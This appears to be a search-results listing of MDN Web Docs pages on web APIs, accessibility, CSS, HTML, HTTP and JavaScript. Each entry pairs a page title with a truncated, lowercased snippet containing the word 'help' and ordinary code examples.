examples with the help of the webgl_lose_context extension, you can simulate the webglcontextlost and webglcontextrestored events: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is log...
WebGLRenderingContext.activeTexture() - Web APIs
gl.activetexture(gl.texture1); the number of texture units is implementation dependent, you can get this number with the help of the max_combined_texture_image_units constant.
Boilerplate 1 - Web APIs
in following examples, we will use a javascript helper function, getrenderingcontext(), to initialize the webgl rendering context.
Raining rectangles - Web APIs
in this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable.
Animating textures in WebGL - Web APIs
for help.
Lighting in WebGL - Web APIs
simulating lighting and shading in 3d although going into detail about the theory behind simulated lighting in 3d graphics is far beyond the scope of this article, it's helpful to know a bit about how it works.
Using textures in WebGL - Web APIs
for help.
WebRTC connectivity - Web APIs
the codecs guide also offers guidance to help you choose the best codecs for your needs.
High-level guides - Web APIs
in addition, you'll find suggestions as to tools, libraries, and frameworks that might be helpful and compatibility information so you know which parts of the overall suite of webrtc features can be safely used given your target audience.
Writing WebSocket client applications - Web APIs
closing the connection when you've finished using the websocket connection, call the websocket method close(): examplesocket.close(); it may be helpful to examine the socket's bufferedamount attribute before attempting to close the connection to determine if any data has yet to be transmitted on the network.
Web Video Text Tracks Format (WebVTT) - Web APIs
we can also place comments in our .vtt file, to help us remember important information about the parts of our file.
Lighting a WebXR setting - Web APIs
how browsers mitigate these issues in order to help mitigate these risks, browsers are required by the webxr lighting estimation api specification to report lighting information that is fudged somewhat from the true value.
WebXR performance guide - Web APIs
in this guide, we'll examine a variety of suggestions and recommendations that will help you make your webxr app as performant as possible.
Rendering and the WebXR frame animation callback - Web APIs
see the webxr performance guide for recommendations and tips that will help you ensure your performance is as good as it can be.
Targeting and hit detection - Web APIs
some devices include infrared sensors to help range objects, and others provide powerful lidar systems, which use lasers (usually infrared lasers, which can't be seen by the human eye) to determine range to objects in the world.
Basic concepts behind Web Audio API - Web APIs
this article explains some of the audio theory behind how the features of the web audio api work, to help you make informed decisions while designing how audio is routed through your app.
Tools for analyzing Web Audio usage - Web APIs
this article discusses tools available to help you do that.
Using Web Workers - Web APIs
first, we create a queryableworker class that takes the url of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker: function queryableworker(url, defaultlistener, onerror) { var instance = this, worker = new worker(url), listeners = {}; this.defaultlistener = defaultlistener || function() {}; if (onerror) {worker.onerror = onerror;} this.postmessage = function(message) { worker.postmessage(message); } this.terminate = functio...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
it may be helpful to be aware that setinterval() and settimeout() share the same pool of ids, and that clearinterval() and cleartimeout() can technically be used interchangeably.
XMLHttpRequest.responseType - Web APIs
this restriction is designed in part to help ensure that synchronous operations aren't used for large transactions that block the browser's main thread, thereby bogging down the user experience.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
using a depth buffer while compositing allows the xr compositor to help ensure the compositing is done as accurately as possible.
ARIA Screen Reader Implementors Guide - Accessibility
interpreting wai-aria live region markup live changes are hints: in general live region markup is provided by the author as hints, and the assistive technology may allow for global, site or even region-specific settings, as well as heuristics to help with live changes on pages that have no wai-aria hints.
Using the aria-activedescendant attribute - Accessibility
as the name specifies, it helps in managing the current active child of the composite widget.
ARIA Test Cases - Accessibility
there are several purposes for providing this information: help browser vendors provide correct implementations help at vendors provide correct implementations inform authors as to what actually works reliably in general we're testing with the latest public releases.
ARIA annotations - Accessibility
aria annotations can help us here too.
ARIA: article role - Accessibility
using the <article> element also helps search engines better discover the structure of a page.
ARIA: banner role - Accessibility
identifying the page's banner in this way will help improve the site's accessibility.
ARIA: feed role - Accessibility
each article element has aria-posinset set to a value that represents its position in the feed and an aria-setsize set to a value that represents either the total number of articles that have been loaded or the total number in the feed, depending on which value is more helpful to users.
ARIA: form role - Accessibility
make sure to have a unique label on each form in a document to help users understand the purpose of the form.
ARIA: Navigation Role - Accessibility
examples <div role="navigation" aria-label="customer service"> <ul> <li><a href="#">help</a></li> <li><a href="#">order tracking</li> <li><a href="#">shipping &amp; delivery</a></li> <li><a href="#">returns</a></li> <li><a href="#">contact us</a></li> <li><a href="#">find a store</a></li> </ul> </div> accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
ARIA: Region role - Accessibility
examples <div role="region" aria-labelledby="region-heading"> <h2 id="region-heading">this heading's <code>id</code> attribute helps this region have an accessible name</h2> <!-- region content --> </div> accessibility concerns use sparingly!
ARIA: switch role - Accessibility
examples the following examples should help you understand how to apply and use the switch role.
ARIA: button role - Accessibility
best practices if a link performs the action of a button, giving the element role="button" helps assistive technology users understand the function of the element.
ARIA: dialog role - Accessibility
<div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account section.</p> <button>close</button> </div> description marking up a dialog element with the dialog role helps assistive technology identify the dialog's content as being grouped and separated from the rest of the page content.
Basic form hints - Accessibility
hat validates the form entry would look something like this: var validate = function () { var emailelement = document.getelementbyid(emailfieldid); var valid = emailvalid(formdata.email); // returns true if valid, false otherwise emailelement.setattribute("aria-invalid", !valid); setelementbordercolour(emailelement, valid); // sets the border to red if second arg is false }; providing helpful error messages read how to use aria alerts to enhance forms.
Accessibility FAQ - Accessibility
i'm interested in helping promote the fine accessibility features that firefox provides, what can i do?
Accessibility Information for Web Authors - Accessibility
the output data report is displayed in a clear and well structured table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc.
Web accessibility for seizures and physical reactions - Accessibility
personalization help and support the requirement for the literal property is taken from section 23 non-literal text and images requirement: some users cannot understand non-literal text and icons such as metaphors, idioms etc.
Web Accessibility: Understanding Colors and Luminance - Accessibility
tion #360 w3c resources css color module level 3 css color module level 4 ensuring that a contrast ratio of 3:1 is provided for icons understanding success criterion 1.4.3: contrast (minimum) wcag working group's wiki page on relative luminance contributers many, many thanks to wayne dick of the low vision task force of the w3c and the intense discussions on luminance; to teal for his help and discussions on human perception of the color blue and how software companies create algorithms for image output based on it; and to tom jewett from knowbility; for the tools and educational resources he developed, that help us all.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
</p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment cs...
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
this helps the user understand which elements can be interacted with.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
this allows to easily make valid fields adopt an appearance that helps the user confirm that their data is formatted properly.
@font-feature-values - CSS: Cascading Style Sheets
this can help simplify your css when using multiple fonts.
-ms-high-contrast - CSS: Cascading Style Sheets
this helps keep the content more predictable.
CSS Animations - CSS: Cascading Style Sheets
css animations tips and tricks tips and tricks to help you get the most out of css animations.
Box alignment in grid layout - CSS: Cascading Style Sheets
we have access to all of the box alignment properties to help us achieve this.
CSS Box Alignment - CSS: Cascading Style Sheets
overflow alignment the safe and unsafe keywords help define behaviour when an alignment subject is larger than the alignment container.
Color picker tool - CSS: Cascading Style Sheets
this tool will help you identify the perfect css colors to apply to your html.
Handling content breaks in multicol - CSS: Cascading Style Sheets
the compatibility data charts on the individual property pages here on mdn can help you see which browsers support which features.
Using multi-column layouts - CSS: Cascading Style Sheets
conclusion css3 columns are a layout primitive that will help web developers make the best use of screen real estate.
Using feature queries - CSS: Cascading Style Sheets
summary feature queries can help you start to use newer features by enhancing a simpler display of the site used for older browsers.
Basic concepts of flexbox - CSS: Cascading Style Sheets
you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in.
Ordering Flex Items - CSS: Cascading Style Sheets
flexbox and the keyboard navigation disconnect html source order vs css display order the responsive order conflict for keyboard focus use cases for order there are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
this may also help in your decision as to which layout method to use.
Typical use cases of Flexbox - CSS: Cascading Style Sheets
think about the best way to present the content that you have and then see how flexbox or other layout methods can help you achieve it.
Block and inline layout in normal flow - CSS: Cascading Style Sheets
this will give you the actual size of the margin which can help you to identify what is happening.
Flow Layout and Overflow - CSS: Cascading Style Sheets
indicating overflow in the level 3 overflow specification we have some properties which can help improve the way content looks in an overflow situation.
OpenType font features guide - CSS: Cascading Style Sheets
this is helpful if you have a feature like ligatures enabled by default but you would like to turn them off, like so: .no-ligatures { font-feature-settings: "liga" 0, "dlig" 0; } more on font-feature-settings codes 'the complete css demo for opentype features' (can't vouch for the truth of the name, but it's pretty big) a list of opentype features on wikipedia using css feature detection for impleme...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
writing-mode writing modes are more than just left to right and right to left text, and the writing-mode property helps us display text running in other directions.
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
it may help to realize that this is due to grid using the flow-relative directions defined in the css writing modes specification.
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with grid.
Consistent list indentation - CSS: Cascading Style Sheets
for example, if you declare that lists have no left margin, they move over in internet explorer, but sit stubbornly in place in gecko-based browsers.this article will help you understand the problems that can occur and how to avoid them.
Basic Shapes - CSS: Cascading Style Sheets
the firefox shapes inspector helpfully shows the reference box in use when you inspect a shape.
Pagination - CSS: Cascading Style Sheets
to help with this we have added aria-label="pagination" on the <nav> element.
Media queries - CSS: Cascading Style Sheets
using media queries for accessibility learn how media queries can help users understand your website better.
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
source image examples before diving in to look at the results of using different kinds of source images and seeing how they look when used with background-size, it would be helpful to look at a few example source images that have different dimensions and sizing settings.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
in order to help you, we have written numerous tutorials about css.
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
if the browser doesn't support css custom properties, the fallback value won't help.
Viewport concepts - CSS: Cascading Style Sheets
if you query the width or height of the window and document in chrome or firefox, you may get: document.documentelement.clientwidth /* 1200 */ window.innerwidth /* 1200 */ window.outerwidth /* 1200 */ document.documentelement.clientheight /* 800 */ window.innerheight /* 800 */ window.outerheight /* 900 */ there are several dom properties that can help you query viewport size, and other similar lengths: the document element's element.clientwidth is the inner width of a document in css pixels, including padding (but not borders, margins, or vertical scrollbars, if present).
calc() - CSS: Cascading Style Sheets
WebCSScalc
the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px; background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available space, without extruding past the edge of their container, while maintaining an appropriate margin.
caret-color - CSS: Cascading Style Sheets
the caret is typically a thin vertical line that flashes to help make it more noticeable.
column-width - CSS: Cascading Style Sheets
this property can help you create responsive designs that fit different screen sizes.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
single value new value block block flow flow-root block flow-root inline inline flow inline-block inline flow-root flex block flex inline-flex inline flex grid block grid inline-grid inline grid display: block flow-root and display: inline flow-root in terms of how these new values help to clarify css layout, we can take a look at a couple of values in the table that might seem less familiar.
env() - CSS: Cascading Style Sheets
WebCSSenv
originally provided by the ios browser to allow developers to place their content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure content is visible even to viewers using non‑rectangular displays.
isolation - CSS: Cascading Style Sheets
WebCSSisolation
this property is especially helpful when used in conjunction with mix-blend-mode.
line-height - CSS: Cascading Style Sheets
this will help people experiencing low vision conditions, as well as people with cognitive concerns such as dyslexia.
pointer-events - CSS: Cascading Style Sheets
to help us in deciding how pointer-events should be further extended for html, if you have any particular things that you would like to be able to do with this property, then please add them to the use cases section of this wiki page (don't worry about keeping it tidy).
text-decoration-skip-ink - CSS: Cascading Style Sheets
this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not create interruptions.
text-transform - CSS: Cascading Style Sheets
it also can help improve legibility for ruby.
CSS: Cascading Style Sheets
WebCSS
the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
WAI ARIA Live Regions/API Support - Developer guides
these features will help screen reader developers improve the quality and performance of live region support, both for pages that are marked up with aria live region markup, and for pages where the author did not add any additional markup.
Writing Web Audio API code that works in every browser - Developer guides
if you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that audiocontext-monkeypatch doesn't alias, because it helps you to write code in the new style.
Creating a cross-browser video player - Developer guides
this span has a solid css background colour, which helps it provide the same visual feedback as a <progress> element.
Audio and Video Delivery - Developer guides
one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to prevent web-based content (especially video) from being copied.
Audio and video manipulation - Developer guides
libraries currently exist for the following formats : aac: aac.js alac: alac.js flac: flac.js mp3: mp3.js opus: opus.js vorbis: vorbis.js note: at audiocogs, you can try out a few demos; audiocogs also provides a framework, aurora.js, which is intended to help you author your own codecs in javascript.
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.
Event developer guide - Developer guides
WebGuideEvents
two common styles are: the generalized addeventlistener() and a set of specific on-event handlers.media eventsvarious events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.mouse gesture eventsgecko 1.9.1 added support for several mozilla-specific dom events used to handle mouse gestures.
Content categories - Developer guides
this is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details.
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
to best take advantage of speculative parsing, and help your pages to load as quickly as possible, ensure that when you call document.write(), you write a balanced sub-tree within that chunk of script.
Introduction to HTML5 - Developer guides
this requirement helps web developers quite a bit.
HTML5 - Developer guides
WebGuideHTMLHTML5
this page was created with help from the w3c as a quick guide for those who have some basic familiarity and experience using html5.
Mobile-friendliness - Developer guides
it can be helpful to think of it in terms of three goals for improving your site’s user experience: presentation, content, and performance.
Printing - Developer guides
this article provides tips and techniques for helping your web content print better.
The Unicode Bidirectional Text Algorithm - Developer guides
understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web content or apps.
Writing forward-compatible websites - Developer guides
it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website.
Developer guides
these articles provide how-to information to help make use of specific web technologies and apis.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
form layout flexibility given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within.
HTML attribute: multiple - HTML: Hypertext Markup Language
recommendation accessibility concerns provide instructions to help users understand how to complete the form and use individual form controls.
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
recommendation accessibility concerns provide instructions to help users understand how to complete the form and use individual form controls.
Block-level elements - HTML: Hypertext Markup Language
by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means.
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
most screen readers can also generate an ordered list of all the headings on a page, which can help a person quickly determine the hierarchy of the content: h1 beetles h2 etymology h2 distribution and diversity h2 evolution h3 late paleozoic h3 jurassic h3 cretaceous h3 cenozoic h2 external morphology h3 head h4 mouthparts h3 thorax h4 prothorax h4 pterothorax h3...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
archive this attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
for example, in the webvtt below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
WebHTMLElementbdi
usually, the bidirectional algorithm will do the right thing without the author having to provide any special markup but, occasionally, the algorithm needs help.
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
example <!doctype html> <html lang="en"> <head>...</head> <body>...</body> </html> accessibility concerns providing a lang attribute with a valid ietf identifying language tag on the <html> element will help screen reading technology determine the proper language to announce.
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
due to widespread misuse, this is not helpful for non-visual browsers.
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
the interfaces generally don't let you enter anything that isn't a date — which is helpful — but you can leave the field empty or enter an invalid date in browsers where the input falls back to type text (like the 32nd of april).
<input type="datetime-local"> - HTML: Hypertext Markup Language
the ui implementations generally don't let you enter anything that isn't a date/time — which is helpful — but a user might still fill in no value and submit, or enter an invalid date and/or time (e.g.
<input type="reset"> - HTML: Hypertext Markup Language
WebHTMLElementinputreset
adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes.
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
this is helpful (assuming the time input is fully supported by the user agent), but you can't entirely rely on the value to be a proper time string, since it might be an empty string (""), which is allowed.
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
the ui implementations generally don't let you specify anything that isn't a valid week/year, which is helpful, but it's still possible to submit with the field empty, and you might want to restrict the range of choosable weeks.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
examples basic example <p>use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
although the death star has been destroyed, <mark class="match">imperial</mark> troops have driven the rebel forces from their hidden base and pursued them across the galaxy.</p> <p>evading the dreaded <mark class="match">imperial</mark> starfleet, a group of freedom fighters led by luke skywalker has established a new secret base on the remote ice world of hoth.</p> to help distinguish the use of <mark> for search results from other potential usage, this example applies the custom class "match" to each match.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
content policies mostly specify allowed server origins and script endpoints which help guard against cross-site scripting attacks.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
r('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible.
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
WebHTMLElementstrong
it may help to realize that both are valid and semantic elements in html5 and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <strong>).
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
for example, this can help a user agent offer to add an event to a user's calendar.
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
example <title>menu - blue house chinese food - foodyum: online takeout today!</title> to help the user, update the page title value to reflect significant page state changes (such as form validation problems).
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
you should use the more semantically helpful <code>, <kbd>, <samp>, or <var> elements for inline text that needs to be presented in monospace type, or the <pre> tag for content that should be presented as a separate block.
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
controlslist the controlslist attribute, when specified, helps the browser select what controls to show on the media element whenever the browser shows its own set of controls (e.g.
lang - HTML: Hypertext Markup Language
the lang global attribute helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user.
Global attributes - HTML: Hypertext Markup Language
lang helps define the language of an element: the language that non-editable elements are in, or the language that editable elements should be written in by the user.
HTML: Hypertext Markup Language
WebHTML
the articles below can help you learn more about html.
Identifying resources on the Web - HTTP
examples https://developer.mozilla.org/docs/learn tel:+1-816-555-1212 git@github.com:mdn/browser-compat-data.git ftp://example.org/resource.txt urn:isbn:9780141036144 mailto:help@supercyberhelpdesk.info specifications specification title rfc 7230, section 2.7: uniform resource identifiers hypertext transfer protocol (http/1.1): message syntax and routing ...
CORS errors - HTTP
WebHTTPCORSErrors
these steps may help you do so: navigate to the web site or web app in question and open the developer tools.
HTTP conditional requests - HTTP
it is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep.
Feature Policy - HTTP
best practices for good user experiences there are several policy-controlled features to help enforce best practices for providing good performance and user experiences.
CSP: upgrade-insecure-requests - HTTP
<img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this: content-security-policy: upgrade-insecure-requests; default-src https: content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecure requests on your secure site, but the only monitoring policy is ...
Content-Security-Policy - HTTP
this helps guard against cross-site scripting attacks (xss).
Server - HTTP
WebHTTPHeadersServer
however, exposed apache versions helped browsers work around a bug those versions had with content-encoding combined with range.
Set-Cookie - HTTP
it does help satisfying the requirements about which characters are allowed for <cookie-value> though.
Link prefetching FAQ - HTTP
doing so would probably help content providers avoid the problem of stale prefetching links.
HTTP Messages - HTTP
WebHTTPMessages
a brief, purely informational, textual description of the status code to help a human understand the http message.
An overview of HTTP - HTTP
WebHTTPOverview
http/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.
Protocol upgrade mechanism - HTTP
instead, it helps to prevent non-websocket clients from inadvertently, or through misuse, requesting a websocket connection.
HTTP Public Key Pinning (HPKP) - HTTP
the following commands will help you extract the base64 encoded information from a key file, a certificate signing request, or a certificate.
Redirections in HTTP - HTTP
you don't want to break these links, as they bring valuable users and help your seo, so you set up redirects from the old urls to the new ones.
404 Not Found - HTTP
WebHTTPStatus404
status 404 not found custom error pages many web sites customize the look of a 404 page to be more helpful to the user and provide guidance on what to do next.
412 Precondition Failed - HTTP
WebHTTPStatus412
status 412 precondition failed examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
431 Request Header Fields Too Large - HTTP
WebHTTPStatus431
to help those running into this error, indicate which of the two is the problem in the response body — ideally, also include which headers are too large.
CSS Houdini
the houdini apis below you can find links to the main reference pages covering the apis that fall under the houdini umbrella, along with links to guides to help you if you need guidance in learning how to use them.
Indexed collections - JavaScript
however, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data in typed arrays.
Introduction - JavaScript
the ecmascript document is not intended to help script programmers.
Keyed collections - JavaScript
(this can be bypassed using map = object.create(null).) these three tips can help you to decide whether to use a map or an object: use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type.
About the JavaScript reference - JavaScript
if you're learning javascript, or need help understanding some of its capabilities or features, check out the javascript guide.
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
to help debugging, javascript (with strict warnings enabled) warns about this pattern.
SyntaxError: missing } after property list - JavaScript
indenting or formatting the code a bit nicer might also help you to see through the jungle.
TypeError: "x" is not a function - JavaScript
an example helpers library (helpers.js) let helpers = function () { }; helpers.groupby = function (objectarray, property) { return objectarray.reduce(function (acc, obj) { var key = obj[property]; if (!acc[key]) { acc[key] = []; } acc[key].push(obj); return acc; }, {}); } export default helpers; the correct import usage (app.js): import helpers from './helpers' ...
Default parameters - JavaScript
this is where default parameters can help.
Array - JavaScript
to help explain these properties and elements, see this example and then refer to the table below: // match one d followed by one or more b's followed by one d // remember matched b's and the following d // ignore case const myre = /d(b+)(d)/i const myarray = myre.exec('cdbbdbsbz') the properties and elements returned from this match are as follows: property/element description exampl...
DataView() constructor - JavaScript
(that probably wasn't a very helpful description.) you can think of the returned object as an "interpreter" of the array buffer of bytes — it knows how to convert numbers to fit within the buffer correctly, both when reading and writing to it.
Date.prototype.getTime() - JavaScript
you can use this method to help assign a date and time to another date object.
Date.parse() - JavaScript
there are still many differences in how different hosts parse date strings, therefore date strings should be manually parsed (a library can help if many different formats are to be accommodated).
Date.prototype.setTime() - JavaScript
description use the settime() method to help assign a date and time to another date object.
Function.prototype.bind() - JavaScript
creating shortcuts bind() is also helpful in cases where you want to create a shortcut to a function which requires a specific this value.
Intl.DateTimeFormat - JavaScript
: 'numeric', minute: 'numeric', second: 'numeric', hour12: false, timezone: 'america/los_angeles' }; console.log(new intl.datetimeformat('en-us', options).format(date)); // → "12/19/2012, 19:00:00" // to specify options but use the browser's default locale, use 'default' console.log(new intl.datetimeformat('default', options).format(date)); // → "12/19/2012, 19:00:00" // sometimes it's helpful to include the period of the day options = {hour: "numeric", dayperiod: "short"}; console.log(new intl.datetimeformat('en-us', options).format(date)); // → 10 at night the used calendar and numbering formats can also be set independently via options arguments: var options = {calendar: 'chinese', numberingsystem: 'arab'}; var dateformat = new intl.datetimeformat('default', options); var us...
Intl.Locale.prototype.collation - JavaScript
the collation property helps to make it easier for javascript programmers to access the collation type used by a particular locale.
Intl.Locale.prototype.numberingSystem - JavaScript
the numberingsystem property helps to represent the different numeral systems used by various countries, regions, and cultures around the world.
Intl.Locale.prototype.region - JavaScript
knowing the locale's region helps javascript programmers make sure that the content from their sites and applications is correctly displayed when viewed from different areas of the world.
Math.clz32() - JavaScript
now, inversing the bits reveals the lowest zeros return 32 - clon(~integer) |0; */ } make these helper functions into asm.js module; then, you have a true performance masterpiece.
Math.cosh() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.cosh = math.cosh || function(x) { return (math.exp(x) + math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.cosh = math.cosh || function(x) { var y = math.exp(x); return (y + 1 / y) / 2; }; examples using math.cosh() math.cosh(0); // 1 math.cosh(1); // 1.5430806348152437 math.cosh(-1); // 1.5430806348152437 specificatio...
Math.expm1() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.expm1 = math.expm1 || function(x) { return math.exp(x) - 1; }; examples using math.expm1() math.expm1(-1); // -0.6321205588285577 math.expm1(0); // 0 math.expm1(1); // 1.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.expm1' in that specification.
Math.sinh() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.sinh = math.sinh || function(x) { return (math.exp(x) - math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.sinh = math.sinh || function(x) { var y = math.exp(x); return (y - 1 / y) / 2; } examples using math.sinh() math.sinh(0); // 0 math.sinh(1); // 1.1752011936438014 specifications specification ecmas...
Math.tanh() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.tanh = math.tanh || function(x){ var a = math.exp(+x), b = math.exp(-x); return a == infinity ?
Promise.prototype.finally() - JavaScript
this helps to avoid duplicating code in both the promise's then() and catch() handlers.
Promise.prototype.then() - JavaScript
print helpful messages about how the code in this section will be run // before the string is actually processed by the mocked asynchronous code in the // previous then block.
Proxy - JavaScript
the very simple trap in handler2 above redefines all property accessors: console.log(proxy2.message1); // world console.log(proxy2.message2); // world with the help of the reflect class we can give some accessors the original behavior and redefine others: const target = { message1: "hello", message2: "everyone" }; const handler3 = { get: function (target, prop, receiver) { if (prop === "message2") { return "world"; } return reflect.get(...arguments); }, }; const proxy3 = new proxy(target, handler3); console.log(proxy3.message1);...
Planned changes to shared memory - JavaScript
these changes provide further isolation between sites and help reduce the impact of attacks with high-resolution timers, which can be created with shared memory.
String.prototype.normalize() - JavaScript
let string1 = '\u00f1'; // ñ let string2 = '\u006e\u0303'; // ñ console.log(string1 === string2); // false console.log(string1.length); // 1 console.log(string2.length); // 2 the normalize() method helps solve this problem by converting a string into a normalized form common for all sequences of code points that represent the same characters.
Symbol.toPrimitive - JavaScript
description with the help of the symbol.toprimitive property (used as a function value), an object can be converted to a primitive value.
Symbol.toStringTag - JavaScript
and more custom classes default to object tag when creating your own class, javascript defaults to the "object" tag: class validatorclass {} object.prototype.tostring.call(new validatorclass()); // "[object object]" custom tag with tostringtag now, with the help of tostringtag, you are able to set your own custom tag: class validatorclass { get [symbol.tostringtag]() { return 'validator'; } } object.prototype.tostring.call(new validatorclass()); // "[object validator]" tostringtag available on all dom prototype objects due to a webidl spec change in mid-2020, browsers are adding a symbol.tostringtag property to all dom prototype objects.
Symbol - JavaScript
examples using the typeof operator with symbols the typeof operator can help you to identify symbols.
encodeURI() - JavaScript
